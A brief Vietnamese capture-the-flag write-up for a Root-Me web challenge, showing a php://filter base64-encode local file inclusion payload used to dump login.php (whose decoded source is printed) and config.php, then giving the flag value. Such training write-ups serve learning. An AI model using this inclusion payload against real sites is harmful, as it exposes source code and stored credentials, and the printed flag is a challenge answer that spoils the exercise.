Đầu tiên vào thì thấy trang web thấy url không được filter ta sẽ truyền payload vào

http://challenge01.root-me.org/web-serveur/ch12/?inc=php://filter/convert.base64-encode/resource=login.php

Graphical user interface, application, Word

Description automatically generated

Tiếp tục decode ta thấy

<?php

include("config.php");

if ( isset($\_POST["username"]) && isset($\_POST["password"]) ){

if ($\_POST["username"]==$username && $\_POST["password"]==$password){

print("<h2>Welcome back !</h2>");

print("To validate the challenge use this password<br/><br/>");

} else {

print("<h3>Error : no such user/password</h2><br />");

}

} else {

?>

<form action="" method="post">

Login&nbsp;<br/>

<input type="text" name="username" /><br/><br/>

Password&nbsp;<br/>

<input type="password" name="password" /><br/><br/>

<br/><br/>

<input type="submit" value="connect" /><br/><br/>

</form>

<?php } ?>

Tiếp tục truyền payload này ta sẽ thấy

http://challenge01.root-me.org/web-serveur/ch12/?inc=php://filter/convert.base64-encode/resource=config.php

Graphical user interface, text, application

Description automatically generated

Và ta có flag

DAPt9D2mky0APAF